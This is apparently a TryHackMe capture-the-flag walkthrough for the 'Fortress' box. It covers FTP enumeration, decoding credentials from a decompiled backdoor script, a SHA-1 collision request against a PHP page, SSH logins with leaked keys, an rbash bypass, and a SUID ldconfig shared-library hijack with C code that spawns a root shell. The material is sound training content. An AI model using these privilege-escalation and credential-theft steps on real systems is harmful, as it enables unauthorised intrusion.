Fortress is a Linux based Box on TryHackMe. Due to unintended issues with the configuration of the box the difficulty was decreased from HARD to MEDIUM, see Unintended Ways for some methods to get root on the box.
The description of the box suggests to add two hosts:
10.10.222.252 fortress
10.10.222.252 temple.fortress
namp is used with -sV -p- fortress
to enumerate the ports on the box
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
5581/tcp open ftp vsftpd 3.0.3
5752/tcp open unknown
7331/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Running nmap with -sC -p 5581 fortress
shows that anonymous login is allowed:
5581/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 305 Jul 25 20:06 marked.txt
|_End of status
loggin in as the user anonymous
shows 2 files which can be downloaded:
$ ftp fortress 5581
Connected to fortress.
220 (vsFTPd 3.0.3)
Name (fortress:tan): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jul 25 20:06 .
drwxr-xr-x 2 ftp ftp 4096 Jul 25 20:06 ..
-rw-r--r-- 1 ftp ftp 1255 Jul 25 20:06 .file
-rw-r--r-- 1 ftp ftp 305 Jul 25 20:06 marked.txt
226 Directory send OK.
marked.txt
is flavor text for the box. .file
is much more interesting, running
file
on it identifies it as python 2.7 byte-compiled
. Python's bytecode can
usually be easily decompilied into python, for example with uncompyle2
#Embedded file name: ../backdoor/backdoor.py
import socket
import subprocess
from Crypto.Util.number import bytes_to_long
usern = 2XXXXXXXXXXXX17036154994L
passw = 1XXXXXXXXXXXX2308261529XXXXXXXXXXXX831532648XXXXXXXXXXXXL
port = 5752
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', port))
s.listen(10)
def secret():
with open('secret.txt', 'r') as f:
reveal = f.read()
return reveal
while True:
try:
conn, addr = s.accept()
conn.send('\n\tChapter 1: A Call for help\n\n')
conn.send('Username: ')
username = conn.recv(1024).decode('utf-8').strip()
username = bytes(username, 'utf-8')
conn.send('Password: ')
password = conn.recv(1024).decode('utf-8').strip()
password = bytes(password, 'utf-8')
if bytes_to_long(username) == usern and bytes_to_long(password) == passw:
directory = bytes(secret(), 'utf-8')
conn.send(directory)
conn.close()
else:
conn.send('Errr... Authentication failed\n\n')
conn.close()
except:
continue
The script contains an encoded username and password for the service running on port 5752
.
The encoding can be reversed by calling Crypto.Util.number.long_to_bytes
on the numbers
from the script:
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(2XXXXXXXXXXXX17036154994))
#b'YYYY-YYYYY'
print(long_to_bytes(1XXXXXXXXXXXX2308261529XXXXXXXXXXXX831532648XXXXXXXXXXXX))
#b'XXXXX_XXXXX_XXX_XXX_XX'
Connecting to the service on Port 5752
via telnet and providing the credentials
from the python scripts returns the string XXXXXX_XX_XXXX_XXXX
$ telnet fortress 5752
Trying 10.10.136.205...
Connected to fortress.
Escape character is '^]'.
Chapter 1: A Call for help
Username: YYYY-YYYYY
Password: XXXXX_XXXXX_XXX_XXX_XX
XXXXXX_XX_XXXX_XXXX
Connection closed by foreign host.
Using the string returned from the service running on port 5752 to fuzz the webserver,
running on port 7331
returns two interesting pages. But first the string was used
to create a custom wordlist for gobuster: echo "XXXXXX_XX_XXXX_XXXX" >> raft-small-words.txt
$ gobuster dir -u http://fortress:7331/ -w raft-small-words.txt -x php,html -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://fortress:7331/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: raft-small-words.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
2021/09/06 16:45:47 Starting gobuster in directory enumeration mode
===============================================================
/XXXXXX_XX_XXXX_XXXX.php (Status: 200) [Size: 629]
/XXXXXX_XX_XXXX_XXXX.html (Status: 200) [Size: 1477]
/index.html (Status: 200) [Size: 10918]
/private.php (Status: 200) [Size: 0]
/assets (Status: 301) [Size: 312] [--> http://fortress:7331/assets/]
/. (Status: 200) [Size: 10918]
===============================================================
2021/09/06 16:53:12 Finished
===============================================================
<html>
<head>
<title>Chapter 2</title>
<link rel='stylesheet' href='assets/style.css' type='text/css'>
</head>
<body>
<div id="container">
<video width=100% height=100% autoplay>
<source src="./assets/flag_hint.mp4" type=video/mp4>
</video>
<!-- Hmm are we there yet?? May be we just need to connect the dots -->
<!-- <center>
<form id="login" method="GET">
<input type="text" required name="user" placeholder="Username"/><br/>
<input type="text" required name="pass" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</center>
-->
</div>
</body>
</html>
<html>
<head>
<title>Chapter 2</title>
<link rel='stylesheet' href='assets/style.css' type='text/css'>
</head>
<body>
<div id="container">
<center><h1>
The Temple of Sins
</h1></center>
<center>
<img src="./assets/guardians.png" width="700px" height="400px">
</center>
<!--
<?php
require 'private.php';
$badchar = '000000';
if (isset($_GET['user']) and isset($_GET['pass'])) {
$test1 = (string)$_GET['user'];
$test2 = (string)$_GET['pass'];
$hex1 = bin2hex($test1);
$hex2 = bin2hex($test2);
if ($test1 == $test2) {
print 'You can't cross the gates of the temple, GO AWAY!!.';
}
else if(strlen($test2) <= 500 and strlen($test1) <= 600){
print "<pre>Nah, babe that ain't gonna work</pre>";
}
else if( strpos( $hex1, $badchar ) or strpos( $hex2, $badchar )){
print '<pre>I feel pitty for you</pre>';
}
else if (sha1($test1) === sha1($test2)) {
print "<pre>'Private Spot: '$spot</pre>";
}
else {
print '<center>Invalid password.</center>';
}
}
?>
-->
<!-- Don't believe what you see... This is not the actual door to the temple. -->
<center>
<form id="login" method="GET">
<input type="text" required name="user" placeholder="Username"/><br/>
<input type="text" required name="pass" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</center>
</div>
</body>
</html>
The goal is the else if
-branch with print "<pre>'Private Spot: '$spot</pre>";
,
for that we need to create a SHA1 collision. Luckily there are two available:
- SHAttered - 2 pdf files which are quiet large
- SHA-1 is a Shambles - 2 messages which are much smaller
Since GET requests have a max length the attack was done with messageA
and messageB
downloaded from the SHA-1 is a Shambles website. In order for the messages being
transmitted correctly they were URL-encoded with the following script:
#!/usr/bin/env python3
import requests
import urllib
with open('messageA', 'rb') as f:
name=urllib.parse.quote_plus(f.read())
with open('messageB', 'rb') as f:
password=urllib.parse.quote_plus(f.read())
resp = requests.get(f'http://fortress:7331/XXXXXX_XX_XXXX_XXXX.php?user={name}&pass={password}',
headers = {'Host': 'fortress:7331'})
print(resp.text)
The server returns the following, pointing to another site on the webserver:
<pre>'The guards are in a fight with each other...
Quickly retrieve the key and leave the temple: 'XXXX_XXX_XXXXX.txt</pre>
"The Temple guards won't betray us, but I fear of their foolishness that will take them down someday.
I am leaving my private key here for you j4x0n. Prepare the fort, before the enemy arrives"
- h4rdy
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<snip>
8aBV2g1DdSMuSzAAAADmo0eDBuQDB2ZXJmbGF3AQIDBA==
-----END OPENSSH PRIVATE KEY-----
After saving the private key as h4rdy.priv
, its possible to just logon to the server
as the user h4rdy
:
$ ssh h4rdy@fortress -i h4rdy.priv
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
UA Infra: Extended Security Maintenance (ESM) is not enabled.
0 updates can be applied immediately.
39 additional security updates can be applied with UA Infra: ESM
Learn more about enabling UA Infra: ESM service for Ubuntu 16.04 at
https://ubuntu.com/16-04
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Jul 26 14:04:41 2021 from 192.168.150.128
h4rdy@fortress:~$ ls
-rbash: /usr/lib/command-not-found:
As it turns out the user is running rbash
, which is a pretty restricted shell.
However it is trivially bypassed, for example by not specifying a profile:
$ ssh h4rdy@fortress -i h4rdy.priv -t 'bash --noprofile'
h4rdy@fortress:~$ sudo -l
Command 'sudo' is available in the following places
* /usr/bin/sudo
* /usr/local/bin/sudo
The command could not be located because '/usr/bin:/usr/local/bin' is not included in the PATH environment variable.
sudo: command not found
h4rdy@fortress:~$ /usr/bin/sudo -l
Matching Defaults entries for h4rdy on fortress:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User h4rdy may run the following commands on fortress:
(j4x0n) NOPASSWD: /bin/cat
The user h4rdy
is allowed to run /bin/cat
as the user j4x0n
, which makes it
easy to get the private key and pivot to that user:
h4rdy@fortress:~$ /usr/bin/sudo -u j4x0n /bin/cat /home/j4x0n/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<snip>
k8ToMpypFXDO0AAAAOajR4MG5AMHZlcmZsYXcBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
$ ssh j4x0n@fortress -i j4x0n.priv
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
UA Infra: Extended Security Maintenance (ESM) is not enabled.
0 updates can be applied immediately.
39 additional security updates can be applied with UA Infra: ESM
Learn more about enabling UA Infra: ESM service for Ubuntu 16.04 at
https://ubuntu.com/16-04
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Jul 26 15:21:48 2021 from 192.168.150.128
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
j4x0n@fortress:~$ ls
endgame.txt user.txt
The file endgame.txt
contains more flavor-text and in user.txt
is the first flag:
j4x0n@fortress:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Enumerating the server with either linPEAS.sh
or manually turns up some interesting files with the SUID-Bit set:
j4x0n@fortress:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/sudo
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/at
/opt/bt <<<
/bin/ping6
/bin/umount
/bin/ping
/bin/mount
/bin/su
/bin/fusermount
/sbin/ldconfig.real <<<
/opt/bt
is a trap, which (if not killed) fills the terminal with garbage:
j4x0n@fortress:/tmp$ /opt/bt
Root Shell Initialized...
Exploiting kernel at super illuminal speeds...
Getting Root...
Bwahaha, You just stepped into a booby trap XP
^C
Analysis of the file shows, that a custom library libfoo.so
is used, which has
a function called foo
:
j4x0n@fortress:~$ ldd /opt/bt
linux-vdso.so.1 => (0x00007fff43b04000)
libfoo.so => /usr/lib/libfoo.so (0x00007f94f66a1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f94f60c4000)
/lib64/ld-linux-x86-64.so.2 (0x00007f94f648e000)
j4x0n@fortress:~$ objdump -T /usr/lib/libfoo.so
/usr/lib/libfoo.so: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000000 w D *UND* 0000000000000000 _ITM_deregisterTMCloneTable
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 puts
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 system
0000000000000000 w D *UND* 0000000000000000 __gmon_start__
0000000000000000 w D *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 sleep
0000000000000000 w DF *UND* 0000000000000000 GLIBC_2.2.5 __cxa_finalize
0000000000001125 g DF .text 0000000000000059 Base foo
The other interesting program is /sbin/ldconfig.real
, which is a tool that can
change which dynamically linked libraries are used. Running this tool with the
SUID-Bit set is a huge problem, because it makes it possible to modify the linked
libraries of ALL programs.
(See Linux Privilege Escalation: Abusing shared libraries for more info).
To correctly recreate the libfoo.so
library, the new one needs to contain a function
foo()
, which will be called from the program using the library. The new function
simply spawns a new shell with uid=0
and gid=0
:
#include <stdlib.h>
#include <unistd.h>
int foo() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
Compiling the library with gcc -fPIC -shared -o /tmp/libfoo.so libfoo.c
, results
in a library the can be used to replace the old on. For that a config file is
passed to ldconfig
:
j4x0n@fortress:/tmp$ echo "/tmp" > fake.ld.so.conf
j4x0n@fortress:/tmp$ /sbin/ldconfig.real -f fake.ld.so.conf
Checking again with ldd /opt/bt
confirms, that the new libfoo.so
is used:
j4x0n@fortress:/tmp$ ldd /opt/bt
linux-vdso.so.1 => (0x00007ffdd8dbd000)
libfoo.so => /tmp/libfoo.so (0x00007f19d7600000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19d7236000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19d7802000)
Afterwards running /opt/bt
results in the trap no longer being triggered, but instead
a root-shell being spawned:
j4x0n@fortress:/tmp$ /opt/bt
Root Shell Initialized...
Exploiting kernel at super illuminal speeds...
Getting Root...
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@fortress:/root# ls
init.sh note.txt root.txt
note.txt
is again more flavor-text and root.txt
contains the final flag:
root@fortress:/root# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
As initial stated the author made some mistakes in the setup with the box:
-
The file
/usr/lib/libfoo.so
is writable by the userj4x0n
.j4x0n@fortress:~$ ls -la /usr/lib/libfoo.so -rwxrwxr-x 1 j4x0n j4x0n 16080 Jul 26 12:54 /usr/lib/libfoo.so
With that it's possible to simply overwrite the old
libfoo.so
with the new one:j4x0n@fortress:~$ cp /tmp/libfoo.so /usr/lib/libfoo.so j4x0n@fortress:/tmp$ /opt/bt Root Shell Initialized... Exploiting kernel at super illuminal speeds... Getting Root... To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. root@fortress:/root#
-
/sbin/ldconfig.real
in verbose mode outputs the contents of the config file, if there is an error. Passing the root-flag results in it being printed to stderr:j4x0n@fortress:~$ /sbin/ldconfig.real -f /root/root.txt -v /sbin/ldconfig.real: Can't stat XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: No such file or directory /lib/x86_64-linux-gnu: liblvm2app.so.2.2 -> liblvm2app.so.2.2 libsepol.so.1 -> libsepol.so.1 libwrap.so.0 -> libwrap.so.0.7.6 libutil.so.1 -> libutil-2.23.so libSegFault.so -> libSegFault.so <snip>
-
The author also forgot to remove the
/data
folder, which was used to setup and configure the box and contains, among other things both flags:j4x0n@fortress:~$ grep -r -A 6 "flags" /data grep: /data/ssh/id_rsa_hardy: Permission denied grep: /data/ssh/id_rsa_j4x0n: Permission denied /data/setup.sh:## Writing flags /data/setup.sh- /data/setup.sh-sudo bash -c 'echo "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" > /home/j4x0n/user.txt' /data/setup.sh-sudo chown j4x0n:j4x0n /home/j4x0n/user.txt /data/setup.sh- /data/setup.sh-sudo bash -c 'echo "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" > /root/root.txt' /data/setup.sh-sudo chown root:root /root/root.txt